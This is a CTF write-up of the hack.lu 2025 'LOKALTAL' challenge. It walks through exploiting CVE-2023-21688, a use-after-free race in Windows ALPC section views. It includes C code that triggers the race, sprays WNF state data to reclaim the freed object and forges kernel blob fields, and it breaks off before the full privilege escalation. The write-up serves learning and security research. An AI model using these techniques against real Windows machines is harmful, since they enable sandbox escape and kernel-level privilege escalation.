.;,;.

hack.lu 2025: "LOKALTAL"

February 15, 2026
31 min read
index
Category
pwn
Files
ntoskrnl.exe
patch_kernel.py
README.md
VM creation notes.md
compose.yaml
disk.qcow2
efiguard.qcow2
flag.txt
OVMF_CODE_4M.fd
OVMF_VARS_4M.fd

In this challenge, you will need to exploit CVE-2023-21688, a use-after-free vulnerability in the AlpcpCreateView function. We have ported the bug to the most recent version of Windows 11 25H2 at the time of writing. The attachment file contains the patched ntoskrnl.exe as well as the full challenge description, which contains instructions on setting up a local instance of the challenge for debugging. The VM image is linked in the README.md in the archive because of its size (~17GB). You are provided with a ynetd-like interface to the remote, where you can submit a PE file that will be executed with a Low-Privileged AppContainer (LPAC) Token. Your goal is to elevate privileges and read the flag from \\?\PHYSICALDRIVE2. Good luck!

Note: For local testing, it is recommended to connect to the VM via RDP, access is enabled with credentials Administrator:password.

Overview

As mentioned by the challenge description, LOKALTAL is a Windows kernel challenge which patches CVE-2023-21688 into the latest Windows 11. The vulnerability lies in AlpcpCreateView, where a reference counted object can be used by userspace before its reference count is incremented, allowing for a race condition to occur resulting in a UAF’d object.

The challenge takes in a PE executable as input, then runs the file in an LPAC (Less Privileged App Container), meaning the exploit starts in a very strict sandbox. The goal is a privilege escalation allowing for the flag on a different disk to be read.

Since it was our first time doing Windows kernel exploitation, we assumed the race condition would be pretty straightforward to exploit. This blog post1 by the researcher of the CVE seemed to detail the exact steps in triggering the race: repeatedly delete an ALPC section view on one thread, create an ALPC section view on another, try to reclaim the potentially corrupted view, and repeat if failed.

But, several questions arise - what is ALPC? How is a section view created? How does the view get reclaimed? How do we know that the view was reclaimed?

Debugging Setup

To run the challenge locally, we used VMware Workstation with WinDbg on the host machine to debug. To run the challenge with VMware, the disks needed to be converted from .qcow2 to .vmdk. We used qemu-img to convert the disk files and create a disk from our fake flag file. flag.bin is a 32MB file with the flag at the start because VMWare does not like small disks.

qemu-img convert -f qcow2 -O vmdk disk.qcow2 disk.vmdk
qemu-img convert -f qcow2 -O vmdk efiguard.qcow2 efiguard.vmdk
qemu-img convert -O vmdk flag.bin flag.vmdk

Once converted, we had some trouble during VM creation. Before adding the EfiGuard disk, disk encryption and Secure Boot need to be disabled. To disable disk encryption, open the VM’s settings, navigate to Options->Access Control, then press Remove Encryption and enter the encryption password configured during VM creation. To disable Secure Boot, navigate to Options->Advanced and make sure Enable Secure Boot is unchecked. If a TPM device exists, remove it in the Hardware panel then try again.

Now the EfiGuard disk, the challenge disk, and the flag disk can be added. Once readded, the TPM and encryption should be reenabled.

We also need to define the boot order to make sure that the VM always boots into the correct disk. This can be set permanently by adding the following lines into the VM’s .vmx file, which can be found in the VM’s directory. (nvme0:1 is assuming you added the EfiGuard disk directly after the main disk.)

bios.bootOrder = "hdd"
bios.hddOrder = "nvme0:1"

Once the VM is booted, we used the commands in the VM given by the provided README to enable debugging. We can then attach to the VM with WinDbg on the host machine.

bcdedit /debug on
bcdedit /dbgsettings net hostip:<DEBUGGER_IP> port:50000

To quickly recover from a kernel crash, we created a snapshot at this point to revert to a state before we ran any exploits.

Some Windows Stuff

Handles are opaque references to objects, similar to a Linux’s file descriptor.

Many Windows types have a similarly named P<type>, which is a pointer type (same as <type> *).

Windows doesn’t document its userland syscalls (here is a list of reverse engineered syscalls: https://j00ru.vexillium.org/syscalls/nt/64/), but instead exposes APIs for syscall usage. Because of this, API functions that are not defined in headers need to be manually resolved. The address of functions can be found with GetProcAddress, and the type for the function can be found on the internet (ex. NtDoc2 or Process Hacker3).

A Quick Explanation of the Windows Kernel Heap

The heap in the Windows kernel is called the pool. The pool is split into two main groups - the paged and non-paged pools.

Non-paged pool allocations always reside in memory, while paged pool allocations can be moved to the disk when RAM is limited. Typically, most data is stored in the paged pool unless it requires speedy access.

Allocations sizes are rounded to the next 0x10 aligned number, and chunks have a 0x10 byte header that contain flags and a 4 byte identifier for the type of allocation.

The pool an allocation is sent to is determined by the flags specified during allocation. Non-paged allocations will never allocate into a paged pool and vice versa. Small allocations of different sizes also are not allocated onto the same page (this isn’t always true, the variable size allocator tries to fit any size it can, but for simplicity sake we can pretend it doesn’t exist), and have their own pages dedicated to their size. This means that abusing a UAF will require finding a kernel object of the same allocation type and of the same or variable size to fill the freed chunk.

Since this explanation is very naive and only covers what is needed to understand the challenge, you’d definitely want to read more about the pool elsewhere if you want a better understanding of it, such as the Windows Internals book or posts like these45.

In the scope of this challenge, the entire exploit will use the paged pool.

What is ALPC?

ALPC (Advanced Local Procedure Call) is the inter-process communication protocol used by the Windows kernel.

Since ALPC is undocumented by Windows as it is intended to only be used internally, we relied on what we could find online. Fortunately, there are many good resources on ALPC, most notably these articles by csandker67.

Getting a Section View

Creating an ALPC Section View requires an ALPC Port and an ALPC Section. These objects can be created using the NtAlpcCreatePort and NtAlpcCreatePortSection APIs respectively. The functions are defined as follows:

typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;
typedef NTSTATUS(NTAPI *__NtAlpcCreatePort)(
_Out_ PHANDLE PortHandle,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);
typedef NTSTATUS(NTAPI *__NtAlpcCreatePortSection)(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_In_opt_ HANDLE SectionHandle,
_In_ SIZE_T SectionSize,
_Out_ PHANDLE AlpcSectionHandle,
_Out_ PSIZE_T ActualSectionSize
);

Although the function arguments look inconvenient to set up, most of them can be set to NULL.

HANDLE serverPort;
status = NtAlpcCreatePort(&serverPort, NULL, NULL);
printf("NtAlpcCreatePort = 0x%lx\n", status);
printf("serverPort = %p\n", serverPort);
SIZE_T actualSize = 0;
status = NtAlpcCreatePortSection(serverPort, NULL, NULL, 0x1000, &alpcSection, &actualSize);
printf("NtAlpcCreatePortSection: 0x%lx\n", status);
printf("alpcSection: %p\n", alpcSection);

The two functions will return the handles to the respective objects in the _Out_ PHANDLE argument, which provides a reference to the port and section.

Creating a view uses NtAlpcCreateSectionView, using the port handle and a _ALPC_DATA_VIEW_ATTR structure containing the section handle.

typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR;
typedef NTSTATUS(NTAPI *__NtAlpcCreateSectionView)(
_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes
);

We used a helper function to create views.

typedef struct {
ALPC_MESSAGE_ATTRIBUTES msg_attr;
ALPC_DATA_VIEW_ATTR view_attr;
} msg_view_attr;
void *AttachView(HANDLE port, HANDLE SectionHandle) {
NTSTATUS status;
msg_view_attr attrs = {0};
PALPC_DATA_VIEW_ATTR dv = &attrs.view_attr;
dv->Flags = 0;
dv->SectionHandle = SectionHandle;
dv->ViewBase = NULL;
dv->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(port, 0, dv);
if (status < 0) {
printf("NtAlpcCreateSectionView = 0x%lx\n", status);
}
return dv->ViewBase;
}

The view will be mapped into userspace as the address returned in _ALPC_DATA_VIEW_ATTR->ViewBase.

NtAlpcDeleteSectionView can be used to delete the view:

typedef NTSTATUS(NTAPI *__NtAlpcDeleteSectionView)(
_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ PVOID ViewBase
);
NtAlpcDeleteSectionView(serverPort, 0, dataViewAttrs->ViewBase);

_KALPC_VIEW stores information about the view. Since it’s allocated/freed by these functions, it is the vulnerable object for this challenge.

struct _KALPC_VIEW
{
struct _LIST_ENTRY_1 ViewListEntry;
struct _KALPC_REGION* Region;
struct _ALPC_PORT* OwnerPort;
struct _EPROCESS_1* OwnerProcess;
void* Address;
uint64_t Size;
void* SecureViewHandle;
void* WriteAccessHandle;
union
{
struct
{
union
{
uint32_t WriteAccess;
uint32_t AutoRelease;
uint32_t ForceUnlink;
uint32_t SystemSpace;
} __bitfield0;
} s1;
} u1;
uint32_t NumberOfOwnerMessages;
struct _LIST_ENTRY_1 ProcessViewListEntry;
};

The section view’s (and many other object’s) reference count and other information is stored in a _BLOB object that is prepended to the object, stored in the same chunk.

struct _BLOB
{
union
{
struct _LIST_ENTRY_1 ResourceList;
struct _SLIST_ENTRY_1 FreeListEntry;
} __inner0;
union
{
struct
{
union
{
uint8_t ReferenceCache;
uint8_t Lookaside;
uint8_t Initializing;
uint8_t Deleted;
} __bitfield0;
} s1;
uint8_t Flags;
} u1;
uint8_t ResourceId;
int16_t CachedReferences;
__padding char _padding[4];
int64_t ReferenceCount;
struct _EX_PUSH_LOCK Lock;
};

It’s worth noting that the address NtAlpcCreateSectionView maps in the userspace will be the same when only one section’s view is constantly being created and deleted. This will be important since the kernel searches for ALPC views using the userspace address instead of a section handle.

The Race Condition

Looking at the patched ntoskrnl.exe in Binary Ninja, we got a good idea of what we were working with. AlpcpCreateView+0x271 -> AlpcpCreateView+0x53f:

AlpcpInsertResourcePort(PORT: Alpc_Port,
view: &blob->alpc_view.ViewListEntry.Flink);
void* rax_14 = KeAbPreAcquire(&OwnerProcess->AlpcContext, nullptr);
OwnerProcess->AlpcContext.Lock.__inner0.__bitfield0 |= 1;
if (test_bit(OwnerProcess->AlpcContext.Lock.__inner0.__bitfield0, 0))
ExfAcquirePushLockExclusiveEx(
&OwnerProcess->AlpcContext.Lock.__inner0.__bitfield0.Locked,
rax_14,
&OwnerProcess->AlpcContext
);
if (rax_14 != 0)
*(rax_14 + 0xa) = 1;
blob->alpc_view.ProcessViewListEntry.Blink =
OwnerProcess->AlpcContext.ViewListHead.Blink;
blob->alpc_view.ProcessViewListEntry.Flink =
&OwnerProcess->AlpcContext.ViewListHead;
OwnerProcess->AlpcContext.ViewListHead.Blink->Flink =
&blob->alpc_view.ProcessViewListEntry;
OwnerProcess->AlpcContext.ViewListHead.Blink =
&blob->alpc_view.ProcessViewListEntry;
OwnerProcess->AlpcContext.Lock.__inner0.__bitfield0 -= 1;
if (((OwnerProcess->AlpcContext.Lock.__inner0.__bitfield0).b & 6) == 2)
ExfTryToWakePushLock(&OwnerProcess->AlpcContext);
KeAbPostRelease(&OwnerProcess->AlpcContext);
if (((Alpc_Region->u1.s1).b & 1) != 0)
Alpc_Region->ReadWriteView = &blob->alpc_view;
ret_val = 0;
*chunk_store = &blob->alpc_view;
AlpcpReferenceBlob(view: &blob->alpc_view);

Here is a brief overview of what the function is doing, we’ve left out some aspects since they aren’t too important:

  • Prior to the code block, the AlpcpCreateView creates the chunk to be used for the view with an initial reference count of 1
  • The chunk is added to the ALPC port’s resource port list, where it is now referenceable by NtAlpcDeleteSectionView
  • The chunk is added to the process view list and the owner process
  • The reference count is incremented
  • The view base and size are written to the structure
  • The function is done, and the reference count is decremented

AlpcpInsertResourcePort does not increment the reference count by itself, so for the entire code block, the reference count is 1 less than it should be.

The address has not been inserted into ViewBase yet but will be known since it is reused. This means that the chunk can be deleted before the last AlpcpReferenceBlob call, which will cause a UAF.

The race condition to create a UAF’d section view (_KALPC_VIEW) is actually very simple to hit and verify. Constantly deleting on one thread and constantly creating on another should make the race condition succeed, as it’s pretty easy to hit and will not crash on failure. Verifying the race doesn’t even require any code! That’s because the kernel crashes when the race succeeds. But why?

Checking the crash in WinDbg shows a negative reference count, because when the reference count reaches 0, AlpcpReferenceBlob will not increment the count since the object should have no way of being accessed.

To visualize the problem, here is what we expected versus what happens:

Expected: expected race timeline

Reading it now, we realized this would cause a double free, which would probably get caught by the kernel. We never triggered this though since this isn’t the actual behavior XD.

Reality: reality race timeline

It’s more problematic that deleting the view removes its entry from the ALPC port, so the view will still be inaccessible even if the UAF’d chunk does not cause a kernel crash.

It’s worth noting that there is a small chance that the race happens right after the call to AlpcpInsertResourcePort, meaning the chunk could be freed before some references are added, but we decided this was too small of a race and is prone to kernel crashes, making it very hard to pull off consistently.

A little note from the future: The solution that won the competition8 used a function that modifies a view after creation (AlpcpExposeViewAttributeInSenderContext), meaning the UAF can be exploited using this function. We didn’t find this so we took a different approach.

To get around the negative reference count and the view being inaccessible, we performed another race that sprays objects to reclaim the view after deletion, but still takes place within the original race window. Given that the reclaiming object can overwrite the reference count with a 1, the reclaimed view can be freed again successfully.

This happens since AlpcpCreateView decrements the reference count at the end of the function, then checks if it is 0 and calls free if true. Since we managed to get a new object into the chunk before the reference count is decremented, that new object will be freed. We now have a UAF primitive with the reclaiming object we just sprayed.

Contrary to just triggering the bug, this is a very tight race and took us around a week to get working.

Finding a Sprayable Object

We spent a good chunk of time testing potential spraying objects. The object we spray needs to be able to reclaim a freed _KALPC_VIEW, which is a paged pool allocation of size 0x90 (0xa0 with the pool header), and have controllable data so the reference count and other requirements can be set.

PipeAttribute

The PipeAttribute structure is a key-value pair of variable size that is stored in the paged pool. It has a header of 0x28 followed by the key and value, seperated by a null byte. The structure is allocated using NtFsControlFile9 with the FSCTL code 0x11003c (FSCTL_PIPE_SET_HANDLE_ATTRIBUTE10).

__kernel_entry NTSYSCALLAPI NTSTATUS NtFsControlFile(
[in] HANDLE FileHandle,
[in, optional] HANDLE Event,
[in, optional] PIO_APC_ROUTINE ApcRoutine,
[in, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG FsControlCode,
[in, optional] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);
HANDLE read_pipe;
HANDLE write_pipe;
#define PA_LEN (0x90-0x28)
char attribute[PA_LEN];
memset(attribute, 0x41, PA_LEN);
attribute[0] = 'Z';
attribute[1] = '\0';
IO_STATUS_BLOCK ntfsStatus;
char output[0x100];
status = CreatePipe(&read_pipe, &write_pipe, NULL, NULL);
if (!status) {
printf("CreatePipe Fail! error=0x%lx\n", GetLastError());
}
status = NtFsControlFile(write_pipe, NULL, NULL, NULL, &ntfsStatus, 0x11003c, attribute, PA_LEN, output, sizeof(output));
if (status) {
printf("NtFsControlFile Fail! error=0x%lx\n", status);
}

Reading the attribute uses the same NtFsControlFile function but with code 0x110038 (FSCTL_PIPE_GET_HANDLE_ATTRIBUTE11). The structure allows for an arbitrary read primitive if an overflow into the header of the PipeAttribute is obtained.

Unfortunately, this structure is unusable because of the LPAC restrictions. The DisallowFsctlSystemCalls flag in the PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY structure12 sets the allowed NtfsControlFile codes to a whitelist, which obviously does not include the FSCTL code to create a PipeAttribute.

PipeAttributes are also unusable for the initial spray because most of the _BLOB is stored in the structure’s header, and contains important fields needed to free the view such as the reference count or structure type.

The original writeup for the PipeAttribute structure can be found here13.

Mutex Names

Mutex names are a null-terminated WCHAR string stored in the paged pool, with their size being the name length rounded up to the nearest valid size (no additional header). They are created using CreateMutexA14 or CreateMutexW15, the A variant converting the input name into a WCHAR string and the W variant taking the input name as a WCHAR string. Mutex names must be unique.

HANDLE CreateMutexA(
[in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
[in] BOOL bInitialOwner,
[in, optional] LPCSTR lpName
);
HANDLE CreateMutexW(
[in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
[in] BOOL bInitialOwner,
[in, optional] LPCWSTR lpName
);
WCHAR wname[0x100] = { 0 };
char *name = (char *)wname;
memset(name, 0x20, 0x90);
HANDLE m = CreateMutexW(NULL, FALSE, wname);
if (m == NULL) {
printf("CreateMutexW failed!\n");
}

Since the string is a null-termated WCHAR string, for every two bytes only one can be null, meaning it’s impossible to set a 64-bit variable like _BLOB->ReferenceCount to anything smaller than 0x0001000100010001 (“\x00\x01\x00\x01\x00\x01\x00\x01”).

However, their lack of header makes them good at overwriting the start of UAF’d objects, as long as the values don’t contain too many null bytes.

WNF State Data

The _WNF_STATE_DATA structure stores up to a page of data (normally 0x1000) for a _WNF_STATE_NAME, and has a header of size 0x10. The name can be created with NtCreateWnfStateName, the data can be created/updated with NtUpdateWnfStateData, the data can be read with NtQueryWnfStateData, the data can deleted with NtDeleteWnfStateData.

typedef struct _WNF_STATE_NAME {
ULONG Data2[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;
typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;
typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine,
WnfDataScopePhysicalMachine
} WNF_DATA_SCOPE;
typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;
typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
typedef NTSTATUS(NTAPI *__NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
typedef NTSTATUS(NTAPI *__NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID *Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp
);
typedef NTSTATUS(NTAPI *__NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID *ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize
);
typedef NTSTATUS(NTAPI *__NtDeleteWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ const VOID *ExplicitScope
);

Initially, we thought this structure was also blocked. We were still getting STATUS_ACCESS_VIOLATION errors when trying to call NtUpdateWnfStateData. After messing with the SecurityDescriptor in NtCreateWnfStateName we got it to work.

The solution was to use GetSecurityInfo to retrieve the current process’s security descriptor and pass that to NtCreateWnfStateName instead of trying to create one ourselves.

#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateName;
PSECURITY_DESCRIPTOR pSD;
status = GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL, &pSD);
if (status) {
printf("GetSecurityInfo Failed! error=0x%lx\n", status);
return -1;
}
status = NtCreateWnfStateName(&StateName, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, WNF_MAXBUFSIZE, pSD);
if (status) {
printf("NtCreateWnfStateName failed! error=0x%lx\n", status);
}
char StateData[0x1000];
memset(StateData, 0x20, sizeof(StateData));
status = NtUpdateWnfStateData(&StateName, StateData, (0x90 - 0x10), 0, 0, 0, 0);
if (status) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n", status);
}
char data[0x1000];
ULONG dataSize = sizeof(data);
WNF_CHANGE_STAMP stamp = 0;
status = NtQueryWnfStateData(&StateName, 0, NULL, &stamp, &data, &dataSize);
if (status) {
printf("NtQueryWnfStateData failed! error = 0x%lx\n", status);
} else {
printf("dataSize = 0x%lx\n", dataSize);
printf("Data: \"");
_write(1, data, dataSize);
printf("\"\n");
}
status = NtDeleteWnfStateData(&StateName, NULL);
if (status) {
printf("NtDeleteWnfStateData = 0x%lx\n", status);
}

The header looks like this:

typedef struct {
UINT32 Header;
UINT32 AllocatedSize;
UINT32 DataSize;
UINT32 ChangeStamp;
} _WNF_STATE_DATA;

_WNF_STATE_DATA->DataSize is what determines how much data NtQueryWnfStateData reads, so this can be overwritten for out-of-bounds read/write (the write will still be limited to a page of data or 0x1000 bytes).

The structure works for spraying, but since it’s a long function it makes the race window harder to hit. Unfortunately, we did not find any other structure that worked, so we decided to stick with this.

The Race Condition (works) (not clickbait)

The race condition will be successful when:

  • NtAlpcCreateSectionView allocates a view in AlpcpCreateView and calls AlpcpInsertResourcePort with the view to make it accessible by userspace
  • NtAlpcDeleteSectionView frees the view since the reference count has not been incremented, using the pre-calculated address the view is mapped in userspace
  • A _WNF_STATE_DATA reclaims the view and sets ReferenceCount to 1
  • AlpcpDereferenceBlobEx is called at the end of NtAlpcCreateSectionView, decrementing the reference count to 0 and freeing the object, leading to a UAF’d object

Technically, this can be done by spamming create, delete, and spray functions in their own threads, but that leads to uncontrollable kernel crashes most of the time. We need some way to consistently avoid the crashes while synchronizing the threads.

Core Affinities and Process and Thread Priorities

A thread can be pinned to a core using SetThreadAffinityMask16, where the 1 bits in the mask specify which cores the thread is allowed to use. Specifying this allows us to configure which threads run concurrently, but also which threads cannot run concurrently.

#define AFFINITY_CORE0 (1 << 0)
#define AFFINITY_CORE1 (1 << 1)
status = SetThreadAffinityMask(self, AFFINITY_CORE0);
printf("SetThreadAffinityMask = 0x%lx\n", status);

Windows scheduling allows a process to set a base priority for its threads and also a per-thread priority. The process priority can be set using SetPriorityClass17, and thread priority can be set using SetThreadPriority18. Priority is used by the scheduler to determine which thread should run on each core. Higher priority threads will run forever until they finish or need to wait (I/O operation, waiting on mutex), and only then lower priority threads will be able to run. There is a base priority REALTIME_PRIORITY_CLASS which allows for over double the priority value (16-31 priority), but this is locked behind administrator privileges (unless?). Important kernel-level processes reside in realtime priority, so user threads with this priority have the potential to stop them from running.

status = SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
printf("SetPriorityClass = 0x%lx\n", status);
status = SetThreadPriority(self, THREAD_PRIORITY_ABOVE_NORMAL);
printf("SetThreadPriority = 0x%lx\n", status);

Windows scheduling also boosts a thread’s affinity when it has not run for a while, and this can be disabled with SetThreadPriorityBoost19.

status = SetThreadPriorityBoost(self, TRUE); // true means boost is disabled
printf("SetThreadPriorityBoost = 0x%lx\n", status);

With these functions, we can make our race more consistent. We used a method discussed in this Google Project Zero post20 that creates two threads:

  • High priority thread that waits for input from a pipe before doing something
  • Low priority thread that constantly does something

The technique from the p0 blog post was written for linux, but almost everything applies to windows. Some nuance is still involved, and internally windows manages events like io completion using application procedure calls (APCs) which come with the own priority levels and management.

These threads should be on the same core. The idea is that the pipe input might land inside the race window, giving a lot of time to exploit since the thread with the race is suspended.

We applied this to our exploit by putting our deletion and spraying into the high priority thread and our creation into the low priority thread, then a trigger thread that sends input into the pipe and creates _WNF_STATE_NAME objects. Of course, the high and low priority threads are on one core, then the trigger is on the other.

volatile long long flag = 0;
HANDLE readPipe;
HANDLE writePipe;
HANDLE serverPort;
HANDLE alpcSection = NULL;
void *sectionViewAddr = NULL;
#define WNF_SPRAY (0x50)
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME *StateNames;

Trigger:

DWORD Trigger(void *ctx) {
NTSTATUS status;
char StateData[0x1000];
memset(StateData, 0xff, sizeof(StateData));
while (1) {
asm volatile("" ::: "memory");
flag = 1;
asm volatile("" ::: "memory");
StateNames = malloc(WNF_SPRAY * sizeof(WNF_STATE_NAME));
for (int i = 0; i < WNF_SPRAY; i++) {
status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, 0,
WNF_MAXBUFSIZE, pSD);
if (status != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
char ch = 0x41;
status = WriteFile(writePipe, &ch, 1, NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
exit(1);
}
while (flag) {
for (int i = 0; i < WNF_SPRAY; i++) {
status = NtUpdateWnfStateData(&StateNames[i], StateData,
(0x90 - 0x10), 0, 0, 0, 0);
if (status != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", status);
return -1;
}
}
}
}
}

Starver (Deleter and Sprayer):

DWORD Starver(void *ctx) {
NTSTATUS status;
char ch;
while (1) {
status = ReadFile(readPipe, &ch, 1, NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
exit(1);
}
NtAlpcDeleteSectionView(serverPort, 0, sectionViewAddr);
}
}

Creater (in main thread):

while (1) {
dataViewAttrs->ViewBase = NULL;
dataViewAttrs->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(serverPort, 0, dataViewAttrs);
asm volatile("" ::: "memory");
flag = 0;
asm volatile("" ::: "memory");
if (dataViewAttrs->ViewSize != 0x1000) {
puts("baaa");
break;
}
}

Thread configurations:

SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
SetThreadAffinityMask(self, AFFINITY_CORE0);
SetThreadPriority(self, THREAD_PRIORITY_ABOVE_NORMAL);
SetThreadPriorityBoost(self, TRUE);
HANDLE starver = CreateThread(NULL, 0, Starver, NULL, 0, NULL);
SetThreadAffinityMask(starver, AFFINITY_CORE0);
SetThreadPriority(starver, THREAD_PRIORITY_TIME_CRITICAL);
HANDLE trigger = CreateThread(NULL, 0, Trigger, NULL, 0, NULL);
SetThreadAffinityMask(trigger, AFFINITY_CORE1);
SetThreadPriority(trigger, THREAD_PRIORITY_TIME_CRITICAL);

This kind of worked. We were able to get a few hits, but most of the time we were only able to crash the kernel meaning only the inital race worked.

At the time, we were still under the impression that the ALPC view was in some linked list in the kernel and could still be used, so we decided to use a mutex name for spraying, then free the mutex name/ALPC view and reallocate it as a _WNF_STATE_DATA. This succeeded in reclaiming the freed object, but still didn’t work. The mutex name’s _BLOB->ReferenceCount is decremented by 1, so trying to close the mutex handle will also crash the kernel. However, it was a good sanity check to let us know that we were able to win the race, we just needed a way to optimize it more.

I think its still possible to exploit with mutexes but thats for a later post :P.

Windows is Great (Multimedia)

We gathered a lot of information about the Windows scheduler through the Windows Internals book (Part 1, 7th ed). Something very interesting that we found was that the scheduler raises the priority of threads that are marked as multimedia, giving a priority which can potentially be in the realtime priority range. To be specific, the AvSetMmThreadCharacteristicsA21 API call from the MMCSS driver can be used with one of the subkeys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks as the first argument, which contain information of the priority boost that should be given to the process. The subkey with the highest priority is “DisplayPostProcessing”, which can be found by checking the registry on the local environment.

DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}

While testing, we were able to get our thread to a priority of 24, which is the base priority of REALTIME_PRIORITY_CLASS. thread priority being 24 in WinDbg

This made our exploit’s success rate for reclaiming very consistent (interestingly with different consistency on some machines but notably very consistent on remote). An issue came up where we would run out of memory during the race, but the problem only really plagued our local VM, so we did not bother to fix it.

Free from the Race

We now have the _KALPC_VIEW reclaimed as _WNF_STATE_DATA, but as of now the the entire chunk is set to \xf3, so the kernel is actually still crashing since 0xf3f3f3f3f3f3f3f3 is a negative number.

typedef struct {
_BLOB Blob;
_KALPC_VIEW View;
} BlobWithView;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
BlobWithView *fake = (BlobWithView *)&StateData;

The obvious first step is to set the reference count to 1 so the object can attempt to be freed.

fake->Blob.ReferenceCount = 1;

Next is to make sure that AlpcpDereferenceBlobEx does not crash the kernel while freeing the allocation. An obvious problem comes up when looking at the DestroyProcedures. All of the functions reference _BLOB->__inner0, which happens to be the first 0x10 bytes of the allocation, colliding with the header of _WNF_STATE_DATA. Fortunately, the dereferences of the fields only occur after other checks that we can control. In AlpcViewDestroyProcedure, if (_KALPC_VIEW) view->Region == 0 the function essentially returns without doing anything else, and then the allocation is freed in AlpcpDereferenceBlobEx.

fake->View.Region = NULL;

For AlpcpDereferenceBlobEx to call AlpcViewDestroyProcedure, _BLOB->ResourceId == 6.

fake->Blob.ResourceId = 6;

If _BLOB->u1 & 2 != 0, some extra checks are done before freeing the allocation, so it should be unset.

fake->Blob.u1 = 0;

Finally to be able to tell which WNF allocation was UAFed we take advantage of the _KALPC_VIEW->Address and _KALPC_VIEW->Size fields by writing the WNF state name to them. These values are returned to userspace after NtAlpcCreateSectionView finishes and allows the exploit to tell when the race has been successfully won.

while(1) {
...
UINT64 Leak = *(UINT64 *)&StateNames[i];
fake->View.Address = Leak;
...
}

dataViewAttrs->Address now contains the state name of the freed _WNF_STATE_DATA, and we can call NtQueryWnfStateData to read the data. However, we still only have access to this 0x80 sized read, and we want to be able to reallocate it so that _WNF_STATE_DATA->DataSize is not so big that it consistantly tries to read out of bounds into unpaged memory.

Simulating the Race

Unfortunately, we never tried to figure out how to fake the race on local until after the competition, even when we had a decently consistent race (around 10% success at the time), so a LOT of downtime was generated trying to hit the race while we were working on post-race things.

lets go gambling

We decided that we should probably find a way to simulate the race using WinDbg when we started working on the challenge around 2 months after the CTF ended.

